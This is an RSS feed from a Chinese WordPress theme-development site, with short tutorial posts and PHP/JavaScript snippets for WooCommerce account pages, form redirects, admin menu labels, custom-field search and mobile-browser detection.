<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WORDPRESS主题技术 &#8211; 九创科技</title>
	<atom:link href="https://www.3code.cn/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.3code.cn</link>
	<description>Wordpress外贸企业主题, Wp企业主题, wordpress企业主题, wordpress主题定制, WORDPRESS外贸网站建设SEO</description>
	<lastBuildDate>Fri, 27 Dec 2019 13:43:01 +0000</lastBuildDate>
	<language>zh-Hans</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>WooCommerce 添加自定义功能页面及菜单到我的账户myaccount页面</title>
		<link>https://www.3code.cn/woocommerce-myaccount-add-menu-page/</link>
					<comments>https://www.3code.cn/woocommerce-myaccount-add-menu-page/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 27 Dec 2019 13:39:51 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3935</guid>

					<description><![CDATA[WooCommerce 是 wordpress 的 B2C 电子商务解决方案，对网站所有者来说，这是<a class="moretag" href="https://www.3code.cn/woocommerce-myaccount-add-menu-page/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p><span class="wp_keywordlink">WooCommerce</span> 是 <span class="wp_keywordlink">wordpress</span> 的 B2C 电子商务解决方案，对网站所有者来说，这是一个真正的开箱即用的电商解决方案，只需要选择一个支持 <span class="wp_keywordlink">WooCommerce</span> 的 WordPress 主题，在后台进行一些设置，然后就可以发布商品，开始在线销售了。WooCommerce 为我们提供了一个包含基础功能的前端用户中心，在我的账户页面，用户可以设置收货地址、查看订单、修改密码。对于一个基本的电子商务系统来说，这些功能刚好够用。</p>
<p>除了这些基本的电子商务功能，我们还可以在 WooCommerce 中添加一些自定义功能，来增强用户粘性，提高转换率。比如增加积分功能，用户完成了订单或对商品作出评价时，我们可以赠送给用户一些积分。用户使用积分可以兑换礼品、抵扣货款等等，我们可以在 WooCommerce 中设置各种各样的营销套路，要想让这些套路进行得更加顺畅，给用户带来更好的体验，我们就需要在 WooCommerce 的我的账户页面增加一些页面，让用户可以看到自己的活动和获得的权益。下图中展示的就是我们为客户添加的一个收集积分的自定义页面。</p>
<p>下面我们来看一下怎么在 WooCommerce 的我的账户页面增加一个自定义页面。</p>
<p>&nbsp;</p>
<p>1、添加链接到我的账户页面<br />
WooCommerce 我们提供了一个 “woocommerce_account_menu_items” 钩子，通过这个钩子，我们可以添加或修改自定义链接到我的账户页面。</p>
<p>add_filter ( &#8216;woocommerce_account_menu_items&#8217;, function ( $menu_links ){<br />
$menu_links = array_slice( $menu_links, 0, 5, true )<br />
+ array( &#8216;points&#8217; =&gt; &#8216;My Points&#8217; )<br />
+ array_slice( $menu_links, 5, NULL, true );<br />
return $menu_links;<br />
}, 40 );</p>
<p>2、注册自定义链接端点<br />
添加了自定义链接之后，我们需要添加一个自定义端点，让 WordPress 可以识别到这是一个自定义页面。</p>
<p>add_action( &#8216;init&#8217;, function () {<br />
add_rewrite_endpoint( &#8216;points&#8217;, EP_PAGES );<br />
} );</p>
<p>3、我的账户自定义页面的内容<br />
这里才是真正重要的一步，在这里，我们可以显示用户所获得的积分，或者可以兑换的权益等等。这里我们所有的钩子是 woocommerce_account_{ENDPOINT NAME}_endpoint，这里的 ENDPOINT NAME 就是我们上一步添加的自定义链接端点，一定要对应上。</p>
<p>add_action( &#8216;woocommerce_account_points_endpoint&#8217;, function () {<br />
echo &#8216;这里显示页面内容&#8217;;<br />
} );</p>
<p>在这里，我们需要获取数据库内容，以一定的格式展示给用户。每个网站都有自己的 UI 系统，每个营销策略的逻辑也不尽相同，在这里就不再展示具体代码了。除了增加页面的我的账户页面，如果程序需要，我们还可以使用 woocommerce_api_(action) API 为 WooCommerce 添加后台功能页面，比如 WooCommerce 的支付网关接口中，就使用了这个 API 为支付网关添加回调页面。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/woocommerce-myaccount-add-menu-page/feed/</wfw:commentRss>
			<slash:comments>10</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress网站HTML网页JS禁止鼠标右键禁止全选复制粘贴</title>
		<link>https://www.3code.cn/wordpress%e7%bd%91%e7%ab%99html%e7%bd%91%e9%a1%b5js%e7%a6%81%e6%ad%a2%e9%bc%a0%e6%a0%87%e5%8f%b3%e9%94%ae%e7%a6%81%e6%ad%a2%e5%85%a8%e9%80%89%e5%a4%8d%e5%88%b6%e7%b2%98%e8%b4%b4/</link>
					<comments>https://www.3code.cn/wordpress%e7%bd%91%e7%ab%99html%e7%bd%91%e9%a1%b5js%e7%a6%81%e6%ad%a2%e9%bc%a0%e6%a0%87%e5%8f%b3%e9%94%ae%e7%a6%81%e6%ad%a2%e5%85%a8%e9%80%89%e5%a4%8d%e5%88%b6%e7%b2%98%e8%b4%b4/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 19 Dec 2019 15:00:06 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3932</guid>

					<description><![CDATA[HTML,JS禁止鼠标右键、禁止全选、复制、粘贴的方法 禁止鼠标右键、禁止全选、复制、粘贴;oncontextmenu事件禁用右键菜单; js代码]]></description>
										<content:encoded><![CDATA[<p><strong>两行JS代码解决：</strong></p>
<hr />
<p>&lt;SCRIPT&gt;<br />
&lt;!&#8211;<br />
document.oncontextmenu=new Function(&#8216;event.returnValue=false;&#8217;);<br />
document.onselectstart=new Function(&#8216;event.returnValue=false;&#8217;);<br />
&#8211;&gt;<br />
&lt;/SCRIPT&gt;</p>
<hr />
<p><strong>下面的情况统统适合：</strong></p>
<p>HTML,JS禁止鼠标右键、禁止全选、复制、粘贴的方法 禁止鼠标右键、禁止全选、复制、粘贴;oncontextmenu事件禁用右键菜单; js代码:document.oncontextm&#8230;</p>
<p>html屏蔽右键、禁止复制<br />
2016年2月25日 &#8211; · 终极屏蔽右键 / 禁止复制 / 禁止另存 / 禁止选取 / 禁止粘贴的方法· HTML页面内容禁止选择、复制、右键· html实现 页面禁止右键 禁止复制 禁止图&#8230;</p>
<p>HTML禁止右键 选择</p>
<p>JavaScript禁止右键、选取、粘贴</p>
<p>html屏蔽右键、禁止复制与禁止查看源代码</p>
<p>如何在网页中屏蔽右键 众所周知,要保护&#8230;</p>
<p>JS禁止html页面右键,选择复制</p>
<p>html屏蔽右键、禁止复制与禁止查看源代码</p>
<p>如何在网页中屏蔽右键 众所周知,要保护一个页面,最基础的就是要屏蔽右键。</p>
<p>详解Html页面中内容禁止选择、复制、右键的实现方法_脚本之家</p>
<p>用心盗取,就需要在网页中加上一个禁止复制的功能,而一般的浏览器在禁止复制后还可以用复制为纯文本,并不能完全杜绝此问题,此时就需要我们在页面中完全禁止右键和&#8230;</p>
<p>html网页如何禁止右键和左键功能禁止复制<br />
有时我们不想让别人看到网站的源代码,怎么操作呢?一个简单初级的方法是屏蔽右键功能,如何实现?可以利用HTML里的〈body〉来修改,它只有以下短短的一行&#8230;</p>
<p>html+css中如何让网页禁止右键菜单？</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/wordpress%e7%bd%91%e7%ab%99html%e7%bd%91%e9%a1%b5js%e7%a6%81%e6%ad%a2%e9%bc%a0%e6%a0%87%e5%8f%b3%e9%94%ae%e7%a6%81%e6%ad%a2%e5%85%a8%e9%80%89%e5%a4%8d%e5%88%b6%e7%b2%98%e8%b4%b4/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress Contact Form 7 插件根据不同表单提交后跳转到不同链接代码</title>
		<link>https://www.3code.cn/wordpress-contact-form-7-%e6%8f%92%e4%bb%b6%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e8%a1%a8%e5%8d%95%e6%8f%90%e4%ba%a4%e5%90%8e%e8%b7%b3%e8%bd%ac%e5%88%b0%e4%b8%8d%e5%90%8c%e9%93%be%e6%8e%a5%e4%bb%a3/</link>
					<comments>https://www.3code.cn/wordpress-contact-form-7-%e6%8f%92%e4%bb%b6%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e8%a1%a8%e5%8d%95%e6%8f%90%e4%ba%a4%e5%90%8e%e8%b7%b3%e8%bd%ac%e5%88%b0%e4%b8%8d%e5%90%8c%e9%93%be%e6%8e%a5%e4%bb%a3/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 05 Dec 2019 01:53:42 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3912</guid>

					<description><![CDATA[add_action( &#8216;wp_footer&#8217;, &#8216;mycust<a class="moretag" href="https://www.3code.cn/wordpress-contact-form-7-%e6%8f%92%e4%bb%b6%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e8%a1%a8%e5%8d%95%e6%8f%90%e4%ba%a4%e5%90%8e%e8%b7%b3%e8%bd%ac%e5%88%b0%e4%b8%8d%e5%90%8c%e9%93%be%e6%8e%a5%e4%bb%a3/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>add_action( &#8216;wp_footer&#8217;, &#8216;mycustom_wp_footer&#8217; );</p>
<p>function mycustom_wp_footer() {<br />
if(is_page(&#8220;public&#8221;)){<br />
?&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
document.addEventListener( &#8216;wpcf7mailsent&#8217;, function( event ){</p>
<p>location = &#8216;/thank-you/&#8217;;</p>
<p>}, false );<br />
&lt;/script&gt;<br />
&lt;?php } else if(is_page(&#8220;publicen&#8221;)){ ?&gt;</p>
<p>&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
document.addEventListener( &#8216;wpcf7mailsent&#8217;, function( event ){</p>
<p>location = &#8216;/thank-you-en/&#8217;;</p>
<p>}, false );<br />
&lt;/script&gt;<br />
&lt;?php<br />
}</p>
<p>}</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/wordpress-contact-form-7-%e6%8f%92%e4%bb%b6%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e8%a1%a8%e5%8d%95%e6%8f%90%e4%ba%a4%e5%90%8e%e8%b7%b3%e8%bd%ac%e5%88%b0%e4%b8%8d%e5%90%8c%e9%93%be%e6%8e%a5%e4%bb%a3/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>wordpress修改后台管理菜单名称</title>
		<link>https://www.3code.cn/wordpress%e4%bf%ae%e6%94%b9%e5%90%8e%e5%8f%b0%e7%ae%a1%e7%90%86%e8%8f%9c%e5%8d%95%e5%90%8d%e7%a7%b0/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 12 Sep 2019 11:08:00 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3900</guid>

					<description><![CDATA[WordPress后台管理菜单名称修改的方法与代码如下：只需要将下列代码放到主题的functions<a class="moretag" href="https://www.3code.cn/wordpress%e4%bf%ae%e6%94%b9%e5%90%8e%e5%8f%b0%e7%ae%a1%e7%90%86%e8%8f%9c%e5%8d%95%e5%90%8d%e7%a7%b0/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[
<p>WordPress后台管理菜单名称修改的方法与代码如下：只需要将下列代码放到主题的functions.php里面就可以。</p>



<p>//change post name<br>
function change_post_menu_label() {<br>
    global $menu;<br>
    global $submenu;<br>
    $menu[5][0] = &#8216;产品与文章&#8217;;<br>
    $submenu[&#8216;edit.php&#8217;][5][0] = &#8216;产品与文章&#8217;;<br>
    $submenu[&#8216;edit.php&#8217;][10][0] = &#8216;添加产品与文章&#8217;;<br>
    $submenu[&#8216;edit.php&#8217;][15][0] = &#8216;产品与文章分类&#8217;; // Change name for categories<br>
    $submenu[&#8216;edit.php&#8217;][16][0] = &#8216;标签&#8217;; // Change name for tags<br>
    echo &#8221;;<br>
}</p>



<p>function change_post_object_label() {<br>
        global $wp_post_types;<br>
        $labels = &amp;$wp_post_types[&#8216;post&#8217;]-&gt;labels;<br>
        $labels-&gt;name = &#8216;产品与文章&#8217;;<br>
        $labels-&gt;singular_name = &#8216;产品与文章&#8217;;<br>
        $labels-&gt;add_new = &#8216;添加产品与文章&#8217;;<br>
        $labels-&gt;add_new_item = &#8216;添加产品与文章&#8217;;<br>
        $labels-&gt;edit_item = &#8216;编辑产品与文章&#8217;;<br>
        $labels-&gt;new_item = &#8216;产品与文章&#8217;;<br>
        $labels-&gt;view_item = &#8216;查看产品与文章&#8217;;<br>
        $labels-&gt;search_items = &#8216;搜索产品与文章&#8217;;<br>
        $labels-&gt;not_found = &#8216;没有搜索结果&#8217;;<br>
        $labels-&gt;not_found_in_trash = &#8216;没有结果&#8217;;<br>
    }<br>
    add_action( &#8216;init&#8217;, &#8216;change_post_object_label&#8217; );<br>
    add_action( &#8216;admin_menu&#8217;, &#8216;change_post_menu_label&#8217; );<br>
    //change post name</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress如何支持自定义字段搜索</title>
		<link>https://www.3code.cn/wordpress%e5%a6%82%e4%bd%95%e6%94%af%e6%8c%81%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e6%90%9c%e7%b4%a2/</link>
					<comments>https://www.3code.cn/wordpress%e5%a6%82%e4%bd%95%e6%94%af%e6%8c%81%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e6%90%9c%e7%b4%a2/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Sat, 13 Jul 2019 00:52:28 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3871</guid>

					<description><![CDATA[WordPress如何支持自定义字段搜索。作为电商系统，商品的最重要的属性就是商家编码，以后进行一些<a class="moretag" href="https://www.3code.cn/wordpress%e5%a6%82%e4%bd%95%e6%94%af%e6%8c%81%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e6%90%9c%e7%b4%a2/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>WordPress如何支持自定义字段搜索。作为电商系统，商品的最重要的属性就是商家编码，以后进行一些店铺之间商品复制操作，甚至做供应量，也是需要靠这个属性来进行操作。商家编码，我们一直做为自定义字段，存在 post meta 中，而 WordPress 默认的搜索是不支持 post meta 的，所以根据商家编码搜索商品的功能：</p>
<p>方法非常简单，只需要下面代码就可：</p>
<p>add_action(<span class="hljs-string">&#8216;posts_search&#8217;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span><span class="hljs-params">($search, $query)</span></span>{ <span class="hljs-keyword">global</span> $wpdb; <span class="hljs-keyword">if</span> ($query-&gt;is_main_query() &amp;&amp; !<span class="hljs-keyword">empty</span>($query-&gt;query[<span class="hljs-string">&#8216;s&#8217;</span>])) { $sql = <span class="hljs-string">&#8221; OR EXISTS (SELECT * FROM {$wpdb-&gt;postmeta} WHERE post_id={$wpdb-&gt;posts}.ID and meta_key = &#8216;product_no&#8217; and meta_value like %s)&#8221;</span>; $like = <span class="hljs-string">&#8216;%&#8217;</span> . $wpdb-&gt;esc_like($query-&gt;query[<span class="hljs-string">&#8216;s&#8217;</span>]) . <span class="hljs-string">&#8216;%&#8217;</span>; $search .= $wpdb-&gt;prepare($sql, $like); } <span class="hljs-keyword">return</span> $search; },<span class="hljs-number">2</span>,<span class="hljs-number">2</span>);</p>
<p>如果你需要相关的功能，只需要将上面的商家编码的字段“product_no”替换成你所需的相关字段即可。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/wordpress%e5%a6%82%e4%bd%95%e6%94%af%e6%8c%81%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e6%90%9c%e7%b4%a2/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress列出具有相同自定义字段名称与值的文章</title>
		<link>https://www.3code.cn/wordpress%e5%88%97%e5%87%ba%e5%85%b7%e6%9c%89%e7%9b%b8%e5%90%8c%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e5%90%8d%e7%a7%b0%e4%b8%8e%e5%80%bc%e7%9a%84%e6%96%87%e7%ab%a0/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Sat, 13 Jul 2019 00:47:59 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3869</guid>

					<description><![CDATA[在使用wordpress开发网站主题的过程中，最常见的调用相关文章方法是利用相同标签来调用的，但有时<a class="moretag" href="https://www.3code.cn/wordpress%e5%88%97%e5%87%ba%e5%85%b7%e6%9c%89%e7%9b%b8%e5%90%8c%e8%87%aa%e5%ae%9a%e4%b9%89%e5%ad%97%e6%ae%b5%e5%90%8d%e7%a7%b0%e4%b8%8e%e5%80%bc%e7%9a%84%e6%96%87%e7%ab%a0/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>在使用wordpress开发网站主题的过程中，最常见的调用相关文章方法是利用相同标签来调用的，但有时候光靠相同标签来调用文章，还是有局限性的，那么这个时候我们还可以利用wordpress自带的强大自定义字段来实现。</p>
<p>利用query_posts() 或 wp_query()同时使用多个 meta_key与 meta_value 来查询多个自定义字段与值，调用输出具有相同自定义字段名称及值的所有文章，用下面的代码替换默认的主循环，并修改其中的自定义字段名称及值。</p>
<p><span class="re0">$args</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">(</span><br />
<span class="st_h">&#8216;posts_per_page&#8217;</span> <span class="sy0">=&gt;</span> <span class="nu0">10</span><span class="sy0">,</span>      <span class="co1">// 显示多少条</span><br />
<span class="st_h">&#8216;paged&#8217;</span> <span class="sy0">=&gt;</span> <span class="re0">$paged</span><span class="sy0">,</span>           <span class="co1">// 当前页面</span><br />
<span class="st_h">&#8216;orderby&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;date&#8217;</span><span class="sy0">,</span>         <span class="co1">// 时间排序</span><br />
<span class="st_h">&#8216;order&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;desc&#8217;</span><span class="sy0">,</span>           <span class="co1">// 降序（递减，由大到小）     </span><br />
<span class="st_h">&#8216;meta_query&#8217;</span> <span class="sy0">=&gt;</span> <span class="kw3">array</span><span class="br0">(</span><br />
<span class="kw3">array</span><span class="br0">(</span><br />
<span class="st_h">&#8216;key&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;key1&#8217;</span><span class="sy0">,</span>     <span class="co1">// 你的使用的自定义字段1</span><br />
<span class="st_h">&#8216;value&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;value1&#8217;</span>  <span class="co1">// 自定义字段1对应的值</span><br />
<span class="br0">)</span><span class="sy0">,</span><br />
<span class="kw3">array</span><span class="br0">(</span><br />
<span class="st_h">&#8216;key&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;key2&#8217;</span><span class="sy0">,</span>     <span class="co1">// 你的使用的自定义字段2</span><br />
<span class="st_h">&#8216;value&#8217;</span> <span class="sy0">=&gt;</span> <span class="st_h">&#8216;key2&#8217;</span>    <span class="co1">// 自定义字段2对应的值</span><br />
<span class="br0">)</span><br />
<span class="br0">)</span><br />
<span class="br0">)</span><span class="sy0">;</span><br />
<span class="co1">//查询指定文章</span><br />
query_posts<span class="br0">(</span><span class="re0">$args</span><span class="br0">)</span><span class="sy0">;</span><br />
<span class="kw1">while</span> <span class="br0">(</span>have_posts<span class="br0">(</span><span class="br0">)</span><span class="br0">)</span> <span class="sy0">:</span> the_post<span class="br0">(</span><span class="br0">)</span><span class="sy0">;</span><br />
<span class="co1">// 循环内容;</span><br />
<span class="kw1">endwhile</span><span class="sy0">;</span><br />
<span class="co1">// 重置查询</span><br />
wp_reset_query<span class="br0">(</span><span class="br0">)</span><span class="sy0">;</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>wp_get_object_terms 显示当前文章分类列表</title>
		<link>https://www.3code.cn/wp_get_object_terms/</link>
					<comments>https://www.3code.cn/wp_get_object_terms/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 17 May 2019 01:26:47 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3863</guid>

					<description><![CDATA[wp_get_object_terms 显示当前文章分类列表 &#60;?php $product_t<a class="moretag" href="https://www.3code.cn/wp_get_object_terms/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<h1>wp_get_object_terms 显示当前文章分类列表</h1>
<p>&lt;?php<br />
$product_terms = wp_get_object_terms( $post-&gt;ID, &#8216;portfolio_category&#8217; );<br />
if ( ! empty( $product_terms ) ) {<br />
if ( ! is_wp_error( $product_terms ) ) {</p>
<p>foreach( $product_terms as $term ) {</p>
<p>echo &#8216;&lt;a href=&#8221;&#8216; . get_term_link( $term-&gt;slug, &#8216;portfolio_category&#8217; ) . &#8216;&#8221;&gt;&#8217; . esc_html( $term-&gt;name ) . &#8216;&lt;/a&gt;&#8217;;<br />
if($term != end($product_terms)) {echo &#8220;, &#8220;;}<br />
}</p>
<p>}<br />
}?&gt;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/wp_get_object_terms/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>php判断是不是手机浏览器代码</title>
		<link>https://www.3code.cn/php%e5%88%a4%e6%96%ad%e6%98%af%e4%b8%8d%e6%98%af%e6%89%8b%e6%9c%ba%e6%b5%8f%e8%a7%88%e5%99%a8%e4%bb%a3%e7%a0%81/</link>
					<comments>https://www.3code.cn/php%e5%88%a4%e6%96%ad%e6%98%af%e4%b8%8d%e6%98%af%e6%89%8b%e6%9c%ba%e6%b5%8f%e8%a7%88%e5%99%a8%e4%bb%a3%e7%a0%81/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Sat, 08 Sep 2018 08:19:42 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3843</guid>

					<description><![CDATA[1、判断是否是手机端 function isMobile() {   // 如果有HTTP_X_WA<a class="moretag" href="https://www.3code.cn/php%e5%88%a4%e6%96%ad%e6%98%af%e4%b8%8d%e6%98%af%e6%89%8b%e6%9c%ba%e6%b5%8f%e8%a7%88%e5%99%a8%e4%bb%a3%e7%a0%81/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>1、判断是否是手机端</p>
<div class="line number1 index0 alt2"><code class="php keyword">function</code> <code class="php plain">isMobile() { </code></div>
<div class="line number2 index1 alt1"><code class="php spaces">  </code><code class="php comments">// 如果有HTTP_X_WAP_PROFILE则一定是移动设备</code></div>
<div class="line number3 index2 alt2"><code class="php spaces">  </code><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_X_WAP_PROFILE'</code><code class="php plain">])) {</code></div>
<div class="line number4 index3 alt1"><code class="php spaces">    </code><code class="php keyword">return</code> <code class="php plain">true;</code></div>
<div class="line number5 index4 alt2"><code class="php spaces">  </code><code class="php plain">} </code></div>
<div class="line number6 index5 alt1"><code class="php spaces">  </code><code class="php comments">// 如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息</code></div>
<div class="line number7 index6 alt2"><code class="php spaces">  </code><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_VIA'</code><code class="php plain">])) { </code></div>
<div class="line number8 index7 alt1"><code class="php spaces">    </code><code class="php comments">// 找不到为flase,否则为true</code></div>
<div class="line number9 index8 alt2"><code class="php spaces">    </code><code class="php keyword">return</code> <code class="php functions">stristr</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_VIA'</code><code class="php plain">], </code><code class="php string">"wap"</code><code class="php plain">) ? true : false;</code></div>
<div class="line number10 index9 alt1"><code class="php spaces">  </code><code class="php plain">} </code></div>
<div class="line number11 index10 alt2"><code class="php spaces">  </code><code class="php comments">// 脑残法，判断手机发送的客户端标志,兼容性有待提高。其中'MicroMessenger'是电脑微信</code></div>
<div class="line number12 index11 alt1"><code class="php spaces">  </code><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_USER_AGENT'</code><code class="php plain">])) {</code></div>
<div class="line number13 index12 alt2"><code class="php spaces">    </code><code class="php variable">$clientkeywords</code> <code class="php plain">= </code><code class="php keyword">array</code><code class="php plain">(</code><code class="php string">'nokia'</code><code class="php plain">,</code><code class="php string">'sony'</code><code class="php plain">,</code><code class="php string">'ericsson'</code><code class="php plain">,</code><code class="php string">'mot'</code><code class="php plain">,</code><code class="php string">'samsung'</code><code class="php plain">,</code><code class="php string">'htc'</code><code class="php plain">,</code><code class="php string">'sgh'</code><code class="php plain">,</code><code class="php string">'lg'</code><code class="php plain">,</code><code class="php string">'sharp'</code><code class="php plain">,</code><code class="php string">'sie-'</code><code class="php plain">,</code><code class="php string">'philips'</code><code class="php plain">,</code><code class="php string">'panasonic'</code><code class="php plain">,</code><code class="php string">'alcatel'</code><code class="php plain">,</code><code class="php string">'lenovo'</code><code class="php plain">,</code><code class="php string">'iphone'</code><code class="php plain">,</code><code class="php string">'ipod'</code><code class="php plain">,</code><code class="php string">'blackberry'</code><code class="php plain">,</code><code class="php string">'meizu'</code><code class="php plain">,</code><code class="php string">'android'</code><code class="php plain">,</code><code class="php string">'netfront'</code><code class="php plain">,</code><code class="php string">'symbian'</code><code class="php plain">,</code><code class="php string">'ucweb'</code><code class="php plain">,</code><code class="php string">'windowsce'</code><code class="php plain">,</code><code class="php string">'palm'</code><code class="php plain">,</code><code class="php string">'operamini'</code><code class="php plain">,</code><code class="php string">'operamobi'</code><code class="php plain">,</code><code class="php string">'openwave'</code><code class="php plain">,</code><code class="php string">'nexusone'</code><code class="php plain">,</code><code class="php string">'cldc'</code><code class="php plain">,</code><code class="php string">'midp'</code><code class="php plain">,</code><code class="php string">'wap'</code><code class="php plain">,</code><code class="php string">'mobile'</code><code class="php plain">,</code><code class="php string">'MicroMessenger'</code><code class="php plain">); </code></div>
<div class="line number14 index13 alt1"><code class="php spaces">    </code><code class="php comments">// 从HTTP_USER_AGENT中查找手机浏览器的关键字</code></div>
<div class="line number15 index14 alt2"><code class="php spaces">    </code><code class="php keyword">if</code> <code class="php plain">(preg_match(</code><code class="php string">"/("</code> <code class="php plain">. implode(</code><code class="php string">'|'</code><code class="php plain">, </code><code class="php variable">$clientkeywords</code><code class="php plain">) . </code><code class="php string">")/i"</code><code class="php plain">, </code><code class="php functions">strtolower</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_USER_AGENT'</code><code class="php plain">]))) {</code></div>
<div class="line number16 index15 alt1"><code class="php spaces">      </code><code class="php keyword">return</code> <code class="php plain">true;</code></div>
<div class="line number17 index16 alt2"><code class="php spaces">    </code><code class="php plain">} </code></div>
<div class="line number18 index17 alt1"><code class="php spaces">  </code><code class="php plain">} </code></div>
<div class="line number19 index18 alt2"><code class="php spaces">  </code><code class="php comments">// 协议法，因为有可能不准确，放到最后判断</code></div>
<div class="line number20 index19 alt1"><code class="php spaces">  </code><code class="php keyword">if</code> <code class="php plain">(isset (</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_ACCEPT'</code><code class="php plain">])) { </code></div>
<div class="line number21 index20 alt2"><code class="php spaces">    </code><code class="php comments">// 如果只支持wml并且不支持html那一定是移动设备</code></div>
<div class="line number22 index21 alt1"><code class="php spaces">    </code><code class="php comments">// 如果支持wml和html但是wml在html之前则是移动设备</code></div>
<div class="line number23 index22 alt2"><code class="php spaces">    </code><code class="php keyword">if</code> <code class="php plain">((</code><code class="php functions">strpos</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_ACCEPT'</code><code class="php plain">], </code><code class="php string">'vnd.wap.wml'</code><code class="php plain">) !== false) &amp;&amp; (</code><code class="php functions">strpos</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_ACCEPT'</code><code class="php plain">], </code><code class="php string">'text/html'</code><code class="php plain">) === false || (</code><code class="php functions">strpos</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_ACCEPT'</code><code class="php plain">], </code><code class="php string">'vnd.wap.wml'</code><code class="php plain">) &lt; </code><code class="php functions">strpos</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php 